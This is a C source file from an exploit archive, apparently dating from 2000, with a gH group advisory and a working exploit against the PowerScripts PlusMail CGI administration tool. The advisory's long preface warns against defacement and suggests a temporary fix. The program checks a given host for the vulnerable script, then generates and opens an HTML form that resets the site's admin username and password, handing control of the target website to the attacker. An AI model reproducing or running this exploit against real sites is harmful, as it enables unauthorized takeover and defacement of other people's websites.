Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/opt/pentoo/ExploitTree/application/mail/plusmail/plusmail3.c

C/C++ Source or Header | 2005-02-12 | 6.4 KB | 177 lines

/*

[gH Security Advisory]

software affected:    PowerScripts PlusMail
versions affected:    All versions to current.
discussion:        Read report below.

*/

/*

[gH-plus.c]

title:        [gH plusmail vulnerability]
date:        01.20.2000
author:        ytcracker of gH [[e-mail]]
comments:    plusmail is an extremely popular cgi-based administration
        tool that allows you to take control of your website
        with a graphical control panel interface.  the password
        file, however, is set with permissions rw enabled,
        therefore granting the authority to change the password
        whenever's clever.
        the following code will detect the vulnerability and
        generate the required html to exploit.
shouts:        seven one nine.  all of gH.  www.mp3.com/category5.
        [e-mail] for finding vulnerability.

[Advisory Information]

written by:    mosthated of gH [[e-mail]]
vulnerable:    So far, any environment running Plusmail.
report:        Noticed plusmail running on multiple operating systems.
        The vulnerability lies in the web based tool, which
        now that is easily exploited, gives you "ADVANCED CONTROL"
        of a target website.  Below is the code by ytcracker of gH,
        which demonstrates how easy it is to generate the html code
        which is executed by your web browser to compromise the
        target host.  We have noticed this PlusMail program is widely
        used, but have yet to succeed in finding the main site for
        PlusMail to acknowledge the developers of the remote
        vulnerability.

        Most likely this will be ripped out during the online trading,
        because of script kids not likely this factual addition, but
        never the less, it will be expressed.  This exploit was written
        to acknowledge security weaknesses, but in no way promotes web
        page defacments.  If you further use this program to gain access
        to anything not normally accessable by yourself, meaning you
        script kids, then you are subject to be prosecuted and even get
        10 years in prison.  Is it honestly worth it to compile this program
        and randomly ./hack sites and deface them with this half way
        automatted program to put your nick & group on it?
        The answer is NO.  gh/global hell.. Heard of us?? Seen us on TV??
        Read about us?? Most likely..    We've changed and gained knowledge
        from the experience....Been there done that..  The world didn't
        believe that a group like this could completely go legit, the IT
        professionals figured we would retaliate against the fbi and the
        world was scared by misleading media articles about how we are
        terrorist and destructive teens.  I ask the world now, who is helping
        who?  Did the media find this vulnerability?  Did the stereotypist
        who label us as "cyber gang members" find this vulnerability and allow
        networks around the world to be patched before so called "destructive
        hackers" gained access to them.  Answer yet again, NO, we did, not you
        who falsely claim to be helping with security.  Your defacements don't
        help anything, we thought it did before as well, now we realized that
        it does nothing positive.  You stereotypists know nothing about gH, yet
        can write articles, you're wrong.  You people think so much that you know
        so much about hackers.  You know nothing, what you think you know, is
        wrong.  What you don't know about us, the information is right under
        your nose, yet you still can't put your finger on it.  Their are 2 sides
        to the so called "hacking scene", you people should realize there will
        always be a good and a bad side to most matters.  Don't exploit the
        fact that you don't know anything about the whole situation, just face
        the real fact, our knowledge could be a great help to all, why not
        accept us as normal people, not untrue off the wall assumptions.
        If you use programs like this to deface sites, think before you use
        this one, because we have been through the childish fights online
        and expressed our feelings, we are still where we started, from square
        one and would not have gone any farther, until we realized that what we
        were doing was stupid, pathetic, futureless and illegal.  Choose
        your path wisely, either stop the script kiddie bullshit or get
        your door kicked in, you decide.
fix:        Move/rename the PlusMail directory as a temporary fix.

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <ctype.h>
#include <fcntl.h>
#include <strings.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <arpa/nameser.h>
#include <sys/stat.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    int sock;
        unsigned long vulnip;

    struct in_addr addr;
    struct sockaddr_in sin;
    struct hostent *he;

        char *detect;
    char buffer[1024];
    char plusvuln[]="GET /cgi-bin/plusmail HTTP/1.0\n\n";
    char htmI[]="<html><head><title>[gH plusmail exploit]</title></head><form action=\"http://";
    char htmII[]="/cgi-bin/plusmail\" method=\"post\"><p>username: <input type=\"text\" name=\"username\"><br>password:
<input type=\"password\" name=\"password\"><br>retype password: <input type=\"password\" name=\"password1\"></p><p><input
type=\"submit\" name=\"new_login\" value=\"reset password\"></p></form><p><a href=\"http://pure-security.net\">Pure Security
Networks</a></p></body></html>";

        FILE *html;

    printf("\n [gH plusmail exploit] [ytcracker] [[e-mail]]\n");

    if(argc<2)
    {
        printf(" usage: %s [vulnerable website]\n\n",argv[0]);
                exit(0);
    }

    if ((he=gethostbyname(argv[1])) == NULL)
    {
        herror("gethostbyname");
        exit(0);
    }

    vulnip=inet_addr(argv[1]);
        vulnip=ntohl(vulnip);

    sock=socket(AF_INET, SOCK_STREAM, 0);
    bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
    sin.sin_family=AF_INET;
    sin.sin_port=htons(80);

    if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
    {
        perror("connect");
    }

    send(sock, plusvuln,strlen(plusvuln),0);
    recv(sock, buffer, sizeof(buffer),0);
    detect = strstr(buffer,"404");
    close(sock);

    if( detect != NULL)
        {
        printf(" vulnerabilty not detected.\n");
                exit(0);
        }
    else
        printf(" vulnerability detected.  generating html...\n");

    html=fopen("plus.html","w+b");
    fprintf(html,"%s",htmI);
    fprintf(html,"%s",argv[1]);
    fprintf(html,"%s",htmII);
        fclose(html);

    printf(" spawning lynx...\n");

        system("lynx plus.html");
    return 0;
}